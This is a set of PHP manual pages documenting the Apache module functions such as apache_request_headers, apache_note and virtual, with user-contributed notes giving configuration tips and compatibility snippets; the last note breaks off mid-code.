    • virtual — Perform an Apache sub-request

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions are only available when running PHP as an Apache module.

Note: As of PHP 4.3.2, PATH_TRANSLATED is no longer set implicitly under the Apache 2 SAPI in contrast to the situation in Apache 1, where it's set to the same value as the SCRIPT_FILENAME server variable when it's not populated by Apache. This change was made to comply with the CGI specification that PATH_TRANSLATED should only exist if PATH_INFO is defined. Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.

User Contributed Notes

There are no user contributed notes for this page.


Installation

For PHP installation on Apache see the installation chapter.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of the Apache PHP module is affected by settings in php.ini. Configuration settings from php.ini may be overridden by php_flag settings in the server configuration file or local .htaccess files.

Example #1 Turning off PHP parsing for a directory using .htaccess

php_flag engine off

Apache configuration options
Name | Default | Changeable | Changelog
engine | "1" | PHP_INI_ALL | Available since PHP 4.0.5.
child_terminate | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
last_modified | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
xbithack | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

engine boolean

Turns PHP parsing on or off. This directive is really only useful in the Apache module version of PHP. It is used by sites that would like to turn PHP parsing on and off on a per-directory or per-virtual server basis. By putting engine off in the appropriate places in the httpd.conf file, PHP can be enabled or disabled.

child_terminate boolean

Specify whether PHP scripts may request child process termination on end of request, see also apache_child_terminate().

last_modified boolean

Send PHP scripts modification date as Last-Modified: header for this request.

xbithack boolean

Parse files with executable bit set as PHP regardless of their file ending.

User Contributed Notes

Anonymous 24-Mar-2011 11:53
An important note:

Even though you turn off the engine with:

php_flag engine off

Doing:

php_flag engine on

does NOT turn it on. You need to instead do:

php_flag engine 1


Apache Functions

Table of Contents

  • apache_child_terminate — Terminate apache process after this request
  • apache_get_modules — Get a list of loaded Apache modules
  • apache_get_version — Fetch Apache version
  • apache_getenv — Get an Apache subprocess_env variable
  • apache_lookup_uri — Perform a partial request for the specified URI and return all info about it
  • apache_note — Get and set apache request notes
  • apache_request_headers — Fetch all HTTP request headers
  • apache_reset_timeout — Reset the Apache write timer
  • apache_response_headers — Fetch all HTTP response headers
  • apache_setenv — Set an Apache subprocess_env variable
  • getallheaders — Fetch all HTTP request headers
  • virtual — Perform an Apache sub-request

User Contributed Notes

bgshea at gmail dot com 29-Nov-2005 04:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

    $req = $_SERVER['REQUEST_URI'];
    // Remove rubbish.
    $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
    if (strlen($newReq) < strlen($req))
    {
        header ('Location: '.$newReq);
        header ('HTTP/1.0 301 Moved Permanently');
        die;  // Don't send any more output.
    }
    unset($req);
    unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike 02-Nov-2005 12:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru 27-Aug-2004 04:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com 20-Nov-2002 01:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net 11-Jan-2002 12:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php


Terminate apache process after this request

  • « Apache Functions
  • apache_get_modules »
  • PHP Manual
  • Apache Functions
  • Terminate apache process after this request

apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5)

apache_child_terminate — Terminate apache process after this request

Description

bool apache_child_terminate ( void )

apache_child_terminate() will register the Apache process executing the current PHP request for termination once execution of PHP code is completed. It may be used to terminate a process after a script with high memory consumption has been run as memory will usually only be freed internally but not given back to the operating system.

Return Values

Returns TRUE if PHP is running as an Apache 1 module, the Apache version is non-multithreaded, and the child_terminate PHP directive is enabled (disabled by default). If these conditions are not met, FALSE is returned and an error of level E_WARNING is generated.

Changelog

Version | Description
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • exit() - Output a message and terminate the current script

User Contributed Notes

Stephan Ferraro 11-Aug-2010 11:39
I found out a solution for Apache 2. However this works only without threads and only on POSIX compatible OS systems (e.g. Linux, OpenSolaris...).

<?php

// Terminate Apache 2 child process after request has been
// done by sending a SIGWINCH POSIX signal (28).
function kill_on_exit() {
 posix_kill( getmypid(), 28 );
}

register_shutdown_function( 'kill_on_exit' );

?>
louis at ewens dot com 30-Jan-2008 01:29
Apache child processes are greedy. If they get bloated by a PHP application that requires a lot of memory, they stay that way. The memory is never given back to the OS until that child dies.

You could use MaxRequestsPerChild in Apache to kill all child processes automatically after a certain number of connections. Or you can use apache_child_terminate to kill the child after your memory intensive functions.

Note: apache_child_terminate is not available in Apache 2.0 handler.
daniele_dll at yahoo dot it 29-Dec-2007 12:18
In response to sam at liddicott dot com:

it isin't so simple! You should never kill an apache process because it is automatically freed when apache need!

And, if you use apache worker or thread based mpm you risk to kill the entire process!

result: DO NOT USE THIS FUNCTION!
admin at hostultra dot com 06-Dec-2007 05:43
this code will add apache_child_terminate() function if it is not already present.

if (!function_exists("apache_child_terminate")){
function apache_child_terminate(){
register_shutdown_function("killonexit");
}

function killonexit(){
@exec("kill ".getmypid());
}
}


Get a list of loaded Apache modules

  • « apache_child_terminate
  • apache_get_version »
  • PHP Manual
  • Apache Functions
  • Get a list of loaded Apache modules

apache_get_modules

(PHP 4 >= 4.3.2, PHP 5)

apache_get_modules — Get a list of loaded Apache modules

Description

array apache_get_modules ( void )

Get a list of loaded Apache modules.

Return Values

An array of loaded Apache modules.

Changelog

Version | Description
5.0.0 | Became available when using Apache 1, or the PHP Apache 2 filter API. Before this time, it was only available when using the Apache 2 handler API.

Examples

Example #1 apache_get_modules() example

<?php
print_r(apache_get_modules());
?>

The above example will output something similar to:

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

User Contributed Notes

Anonymous 29-Nov-2013 07:19
<?php
function apache_module_exists($module)
{
    return in_array($module, apache_get_modules());
}
?>
Anonymous 03-Sep-2013 09:07
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    return ( in_array($module_name, $modules) ? true : false );
}

var_dump(apache_module_exists('mod_headers'));
fengdingbo at gmail dot com 29-Jul-2013 10:56
<?php
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    foreach ($modules as $module)
    {
        if ($module == $module_name)
            return true;
    }

    return false;
}
var_dump(apache_module_exists('mod_headers'));
nik_gandhi007 at yahoo dot com 28-Oct-2010 01:01
apache_get_modules() does not work if you are using PHP as CGI.
Vlad Alexa Mancini mancini at nextcode dot org 04-Aug-2005 11:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
      $fcont = file($fname);
      if (is_array($fcont)){
          foreach ($fcont as $line){
              if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                  $return[$match[2]] = $match[1];
              }
          }
      }
   }
   return $return;
}

?>


Fetch Apache version

  • « apache_get_modules
  • apache_getenv »
  • PHP Manual
  • Apache Functions
  • Fetch Apache version

apache_get_version

(PHP 4 >= 4.3.2, PHP 5)

apache_get_version — Fetch Apache version

Description

string apache_get_version ( void )

Fetch the Apache version.

Return Values

Returns the Apache version on success or FALSE on failure.

Examples

Example #1 apache_get_version() example

<?php
$version = apache_get_version();
echo "$version\n";
?>

The above example will output something similar to:

Apache/1.3.29 (Unix) PHP/4.3.4

See Also

  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

ladislav at prskavec dot net 07-Jun-2007 10:44
apache_get_version() - depends on settings in httpd.conf ServerTokens

Examples:

ServerTokens Full - Apache/2.0.55 (Win32) DAV/2
ServerTokens OS - Apache/2.0.55 (Win32)
ServerTokens Minor - Apache/2.0
ServerTokens Minimal - Apache/2.0.55
ServerTokens Major - Apache/2
ServerTokens Prod - Apache


Get an Apache subprocess_env variable

  • « apache_get_version
  • apache_lookup_uri »
  • PHP Manual
  • Apache Functions
  • Get an Apache subprocess_env variable

apache_getenv

(PHP 4 >= 4.3.0, PHP 5)

apache_getenv — Get an Apache subprocess_env variable

Description

string apache_getenv ( string $variable [, bool $walk_to_top = false ] )

Retrieve an Apache environment variable specified by variable.

This function requires Apache 2 otherwise it's undefined.

Parameters

variable

The Apache environment variable

walk_to_top

Whether to get the top-level variable available to all Apache layers.

Return Values

The value of the Apache environment variable on success, or FALSE on failure

Examples

Example #1 apache_getenv() example

The example above shows how to retrieve the value of the Apache environment variable SERVER_ADDR.

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

The above example will output something similar to:

42.24.42.240

See Also

  • apache_setenv() - Set an Apache subprocess_env variable
  • getenv() - Gets the value of an environment variable
  • Superglobals

User Contributed Notes

elhachmi at gmail dot com 27-Feb-2013 11:37
apache_getenv(key) does not work on an php cgi installation, in this case rather use $_SERVER["REDIRECT_key"]


Perform a partial request for the specified URI and return all info about it

  • « apache_getenv
  • apache_note »
  • PHP Manual
  • Apache Functions
  • Perform a partial request for the specified URI and return all info about it

apache_lookup_uri

(PHP 4, PHP 5)

apache_lookup_uri — Perform a partial request for the specified URI and return all info about it

Description

object apache_lookup_uri ( string $filename )

This performs a partial request for a URI. It goes just far enough to obtain all the important information about the given resource.

This function is only supported when PHP is installed as an Apache module.

Parameters

filename

The filename (URI) that's being requested.

Return Values

An object of related URI information. The properties of this object are:

  • status
  • the_request
  • status_line
  • method
  • content_type
  • handler
  • uri
  • filename
  • path_info
  • args
  • boundary
  • no_cache
  • no_local_copy
  • allowed
  • send_bodyct
  • bytes_sent
  • byterange
  • clength
  • unparsed_uri
  • mtime
  • request_time

Examples

Example #1 apache_lookup_uri() example

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
    echo 'file exists!';
}
?>

The above example will output something similar to:

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

User Contributed Notes

tester 12-Feb-2008 02:01
bug: with apache 2, apache_lookup_uri("/directory") spits out a warning and fails to return anything.  apache_lookup_uri("/directory/") works.

another bug: virtual("something") forces a header flush.  I know it's documented, but it would be rather wonderful if it didn't do this.  You never ever want to flush headers when you're using virtual() to include a dynamic file such as a PHP or Perl file, which excludes virtual() from being used on most of any website's contents :-(.
niels dot kootstra at gmail dot com 08-Feb-2008 01:04
It's a very usefull function but it doesn't show all outputs. For example I only see:
[status]
[the_request]
[method]
[mtime]
[clength]
[chunked]
[content_type]
[no_cache]
[no_local_copy]
[unparsed_uri]
[uri]
[filename]
[path_info]
[allowed]
[sent_bodyct]
[bytes_sent]
[request_time]
redbeard at mdjohnson dot nospam dot us 18-Apr-2003 02:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.


Get and set apache request notes

  • « apache_lookup_uri
  • apache_request_headers »
  • PHP Manual
  • Apache Functions
  • Get and set apache request notes

apache_note

(PHP 4, PHP 5)

apache_note — Get and set apache request notes

Description

string apache_note ( string $note_name [, string $note_value = "" ] )

This function is a wrapper for Apache's table_get and table_set. It edits the table of notes that exists during a request. The table's purpose is to allow Apache modules to communicate.

The main use for apache_note() is to pass information from one module to another within the same request.

Parameters

note_name

The name of the note.

note_value

The value of the note.

Return Values

If called with one argument, it returns the current value of note note_name. If called with two arguments, it sets the value of note note_name to note_value and returns the previous value of note note_name. If the note cannot be retrieved, FALSE is returned.

Examples

Example #1 Passing information between PHP and Perl

<?php

apache_note('name', 'Fredrik Ekengren');

// Call perl script
virtual("/perl/some_script.pl");

$result = apache_note("resultdata");
?>
# Get Apache request object
my $r = Apache->request()->main();

# Get passed data
my $name = $r->notes('name');

# some processing

# Pass result back to PHP
$r->notes('resultdata', $result);

Example #2 Logging values in access.log

<?php

apache_note('sessionID', session_id());

?>
# "%{sessionID}n" can be used in the LogFormat directive

See Also

  • virtual() - Perform an Apache sub-request

User Contributed Notes

ckm at NOSPAM dot crust dot net 16-Oct-2001 10:52
apache_note() does not work on requests to a symlink, only on actual files.  Eg. if index.php is symlinked to login.php, then any apache_note() in login.php will not be available to other apache modules such as logging.


Fetch all HTTP request headers

  • « apache_note
  • apache_reset_timeout »
  • PHP Manual
  • Apache Functions
  • Fetch all HTTP request headers

apache_request_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_request_headers — Fetch all HTTP request headers

Description

array apache_request_headers ( void )

Fetches all HTTP request headers from the current request.

Return Values

An associative array of all the HTTP headers in the current request, or FALSE on failure.

Changelog

Version | Description
5.5.7 | This function became available in the CLI server.
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.

Examples

Example #1 apache_request_headers() example

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
    echo "$header: $value <br />\n";
}
?>

The above example will output something similar to:

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

Notes

Note:

You can also get at the value of the common CGI variables by reading them from the environment, which works whether or not you are using PHP as an Apache module. Use phpinfo() to see a list of all of the available environment variables.

See Also

  • apache_response_headers() - Fetch all HTTP response headers

User Contributed Notes

callum85 at notspam dot msn dot com 19-Apr-2007 08:07
There is a simple way to get request headers from Apache even on PHP running as a CGI. As far as I know, it's the only way to get the headers "If-Modified-Since" and "If-None-Match" when apache_request_headers() isn't available. You need mod_rewrite, which most web hosts seem to have enabled. Put this in an .htacess file in your web root:

RewriteEngine on
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

The headers are then available in PHP as
<?php
  $_SERVER['HTTP_IF_MODIFIED_SINCE'];
  $_SERVER['HTTP_IF_NONE_MATCH'];
?>

I've tested this on PHP/5.1.6, on both Apache/2.2.3/Win32 and Apache/2.0.54/Unix, and it works perfectly.

Note: if you use RewriteRules already for clean URLs, you need to put the above rules AFTER your existing ones.
limalopex.eisfux.de 29-Oct-2006 06:01
I didn't found a replacement for apache_request_headers() in PHP::Compat (http://pear.php.net/package/PHP_Compat) so I wrote my own:

<?php
if( !function_exists('apache_request_headers') ) {
///
function apache_request_headers() {
  $arh = array();
  $rx_http = '/\AHTTP_/';
  foreach($_SERVER as $key => $val) {
    if( preg_match($rx_http, $key) ) {
      $arh_key = preg_replace($rx_http, '', $key);
      $rx_matches = array();
      // do some nasty string manipulations to restore the original letter case
      // this should work in most cases
      $rx_matches = explode('_', $arh_key);
      if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
        $arh_key = implode('-', $rx_matches);
      }
      $arh[$arh_key] = $val;
    }
  }
  return( $arh );
}
///
}
///
?>


Reset the Apache write timer

  • « apache_request_headers
  • apache_response_headers »
  • PHP Manual
  • Apache Functions
  • Reset the Apache write timer

apache_reset_timeout

(PHP 5 >= 5.1.0)

apache_reset_timeout — Reset the Apache write timer

Description

bool apache_reset_timeout ( void )

apache_reset_timeout() resets the Apache write timer, which defaults to 300 seconds. With set_time_limit(0); ignore_user_abort(true) and periodic apache_reset_timeout() calls, Apache can theoretically run forever.

This function requires Apache 1.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is disabled when PHP is running in safe mode.

See Also

  • set_time_limit() - Limits the maximum execution time
  • ignore_user_abort() - Set whether a client disconnect should abort script execution

User Contributed Notes

There are no user contributed notes for this page.


Fetch all HTTP response headers

  • « apache_reset_timeout
  • apache_setenv »
  • PHP Manual
  • Apache Functions
  • Fetch all HTTP response headers

apache_response_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_response_headers — Fetch all HTTP response headers

Description

array apache_response_headers ( void )

Fetch all HTTP response headers.

Return Values

An array of all Apache response headers on success or FALSE on failure.

Changelog

Version | Description
5.5.7 | This function became available in the CLI server.
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.

Examples

Example #1 apache_response_headers() example

<?php
print_r(apache_response_headers());
?>

The above example will output something similar to:

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

See Also

  • apache_request_headers() - Fetch all HTTP request headers
  • headers_sent() - Checks if or where headers have been sent
  • headers_list() - Returns a list of response headers sent (or ready to send)

User Contributed Notes

php at mailplus dot pl 18-Feb-2011 10:11
I get  "Call to undefined function apache_response_headers()" when using php-cli so be aware of lack of this function CLI.
In my case I was trying to test my app via phpunit (command line tool of course ;)) if it sends proper headers.
Isaac Z dot Schlueter i at foohack dot com 28-May-2009 05:57
This function doesn't exist on lighttpd, so I wrote this little function to emulate it:

<?php

if (!function_exists('apache_response_headers')) {
    function apache_response_headers () {
        $arh = array();
        $headers = headers_list();
        foreach ($headers as $header) {
            $header = explode(":", $header);
            $arh[array_shift($header)] = trim(implode(":", $header));
        }
        return $arh;
    }
}

?>
Daniel Lorch 24-May-2007 06:53
Addendum: The code

<pre>
<?php
  print_r(apache_request_headers());
?>
</pre>

gives me

 Array
 (
    [X-Powered-By] => PHP/5.1.6
 )

But the code
<pre>
<?php
  ob_end_flush();
  print_r(apache_request_headers());
?>
</pre>

Results in

 Array
 (
    [Content-Location] => phpinfo.de.php
    [Vary] => negotiate
    [TCN] => choice
    [X-Powered-By] => PHP/5.1.6
    [Keep-Alive] => timeout=15, max=96
    [Connection] => Keep-Alive
    [Transfer-Encoding] => chunked
    [Content-Type] => text/html
    [Content-Language] => de
 )
Daniel Lorch 24-May-2007 06:46
I can confirm athlet's experience with apache_response_headers() using PHP 5.1.6. When the resulting array is empty or only contains "X-Powered-By" instead of the full list of values, you'll need to switch off output_buffering _before_ the script has been executed, for example with the following directive in .htaccess:

php_value "output_buffering" "0"

it _doesn't_ work when you do a you ini_set('output_buffering', 0); in your script. Not sure why that is so - it is not a bug in PHP, but probably has to do with how Apache populates the request values.
athlet 01-Feb-2006 06:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange 05-Sep-2005 05:17
If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.


Set an Apache subprocess_env variable

  • « apache_response_headers
  • getallheaders »
  • PHP Manual
  • Apache Functions
  • Set an Apache subprocess_env variable

apache_setenv

(PHP 4 >= 4.2.0, PHP 5)

apache_setenv — Set an Apache subprocess_env variable

Description

bool apache_setenv ( string $variable , string $value [, bool $walk_to_top = false ] )

apache_setenv() sets the value of the Apache environment variable specified by variable.

Note:

When setting an Apache environment variable, the corresponding $_SERVER variable is not changed.

Parameters

variable

The environment variable that's being set.

value

The new variable value.

walk_to_top

Whether to set the top-level variable available to all Apache layers.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting an Apache environment variable using apache_setenv()

<?php
apache_setenv("EXAMPLE_VAR", "Example Value");
?>

Notes

Note:

apache_setenv() can be paired up with apache_getenv() across separate pages or for setting variables to pass to Server Side Includes (.shtml) that have been included in PHP scripts.

See Also

  • apache_getenv() - Get an Apache subprocess_env variable

User Contributed Notes

RLG 10-Jan-2006 01:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com 28-Jul-2005 07:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk 04-Jun-2003 03:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com 23-Jan-2003 12:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.


Fetch all HTTP request headers

  • « apache_setenv
  • virtual »
  • PHP Manual
  • Apache Functions
  • Fetch all HTTP request headers

getallheaders

(PHP 4, PHP 5)

getallheaders — Fetch all HTTP request headers

Description

array getallheaders ( void )

Fetches all HTTP headers from the current request.

This function is an alias for apache_request_headers(). Please read the apache_request_headers() documentation for more information on how this function works.

Return Values

An associative array of all the HTTP headers in the current request, or FALSE on failure.

Changelog

Version | Description
5.5.7 | This function became available in the CLI server.
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.

Examples

Example #1 getallheaders() example

<?php

foreach (getallheaders() as $name => $value) {
    echo "$name: $value\n";
}

?>

See Also

  • apache_response_headers() - Fetch all HTTP response headers

User Contributed Notes

acidfilez at gmail dot com 08-Jun-2011 06:16
dont forget to add the content_type and content_lenght if your are uploading file:

<?php
  function emu_getallheaders() {
        foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
               $headers[$name] = $value;
           } else if ($name == "CONTENT_TYPE") {
               $headers["Content-Type"] = $value;
           } else if ($name == "CONTENT_LENGTH") {
               $headers["Content-Length"] = $value;
           }
       }
       return $headers;
    }
?>

chears magno c. heck
majksner at gmail dot com 08-Sep-2010 07:24
apache_request_headers replicement for nginx

<?php
if (!function_exists('apache_request_headers')) {
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }else{
                    $out[$key]=$value;
        }
            }
            return $out;
        }
}
?>
joyview at gmail dot com 06-Jul-2008 05:52
it could be useful if you using nginx instead of apache

<?php
if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
           $headers = '';
       foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
           }
       }
       return $headers;
    }
}
?>
lorro at lorro dot hu 19-Apr-2005 03:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.


Perform an Apache sub-request

  • « getallheaders
  • FastCGI Process Manager »
  • PHP Manual
  • Apache Functions
  • Perform an Apache sub-request

virtual

(PHP 4, PHP 5)

virtual — Perform an Apache sub-request

Description

bool virtual ( string $filename )

virtual() is an Apache-specific function which is similar to <!--#include virtual...--> in mod_include. It performs an Apache sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you would parse through Apache. Note that for a CGI script, the script must generate valid CGI headers. At the minimum that means it must generate a Content-Type header.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

This function is only supported when PHP is installed as an Apache module.

Parameters

filename

The file that the virtual command will be performed on.

Return Values

Performs the virtual command on success, or returns FALSE on failure.

Changelog

Version | Description
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.
4.0.6 | This function may be used on PHP files. However, it is typically better to use include or require for PHP files.

Examples

See apache_note() for an example.

Notes

Warning

The query string can be passed to the included file but $_GET is copied from the parent script and only $_SERVER['QUERY_STRING'] is filled with the passed query string. The query string may only be passed when using Apache 2. The requested file will not be listed in the Apache access log.

Note:

Environment variables set in the requested file are not visible to the calling script.

See Also

  • apache_note() - Get and set apache request notes

User Contributed Notes

Peter Kehl 12-Jan-2013 12:47
This documentation is not clear enough. Parameter $filename is not a filename as on the filesystem, but a URI. It can be absolute, starting with /, or relative to URI that involved the PHP script which called virtual(). (I.e. if the PHP script that calls virtual() is invoked via PHP require/require_once/include/include_once mechanism and it passes a relative URI to virtual(), then that URI must be relative to the URI of the topmost PHP script on the inclusion stack.)

Not sure how relative URIs work if the request which calls virtual() was processed through Apache rewrite rules.
jhibbard at gmail dot com 09-Dec-2009 11:42
While the virtual() function has it's promising sides, there exists issues when using it in relation to a cache system such as eAccellerator.  The issue becomes that the first time you load with a virtual file, it will seem to work fine.  But once the cache is put into play, the virtual call will end up returning nothing at all, and basically returning a blank page.

Please realize that this is not an issue with virtual(), but instead an issue of the cacheing application.  Should anyone else have a similar issue, hopefully this will shed some light onto this subject.

Jonathon Hibbard
phpforum at joolee dot nl 04-Feb-2009 09:00
Problem with most of the scripts posted below is that virtual() flushes the pending headers before making the subrequest. Requesting an image with virtual() still returns a text/html type document.
A workaround is to set the content-type first. But that requires getting the content-type first.

I'm using the following script for now. A disadvantage is that Apache makes 2 subrequests.

<?PHP
$file = '/resources/7z.gif';
$file_info = apache_lookup_uri($file);
header('content-type: ' . $file_info -> content_type);
virtual($file);
die();
?>
Anonymous at spam dot org 09-May-2007 02:13
Note that QUERY_STRING seems to get inherited, so to make a virtual request WITHOUT one, one needs to explicitly append a "?" to the URL of the sub-request (to cause the creation of a "null" query string).  Of course, if the desired URL has its own query string, that will override and an additional "?" should not be appended.

This was with PHP 4.4.7 (released May 2007).
vcaron at bearstech dot com 07-Jul-2006 12:26
You can use virtual() to implement your own dispatcher/auth handler in an efficient and effective way.

For instance if you have a bunch of images you would like to be served statically by Apache (its job after all), but with a more com
plex access pattern than mod_access allows you to do (say a MySQL lookup with your app logic), try this simple Apache rule:

  Order Allow,Deny
  Allow from env=PHP_ALLOW

Then in your PHP script, before sending any content or header:

<?php
$image = "/some/URL/path/test.png";
if (client_may_view_image($image)) {
  apache_setenv('PHP_ALLOW', '1');
  if (virtual($image))
    exit(0);
  echo "Ops, failed to fetched granted image $image (hammer your webmaster).\n";
} else
  echo "Sorry buddy, you're not allowed in here.\n";
?>

Of course very Apache-ish, but it's much more efficient and uniform to rely on Apache rather than passthru() and mime_content_type()
 hacks : it does the path lookup and auth/security audit as the admin expects, use the best static serving it can (think 'sendfile')
 and you can even chain your request with another embedded script eg. in mod_perl.
ruibal_DELETED_p*AT*gmail__dot__com 06-Feb-2006 12:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext     = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
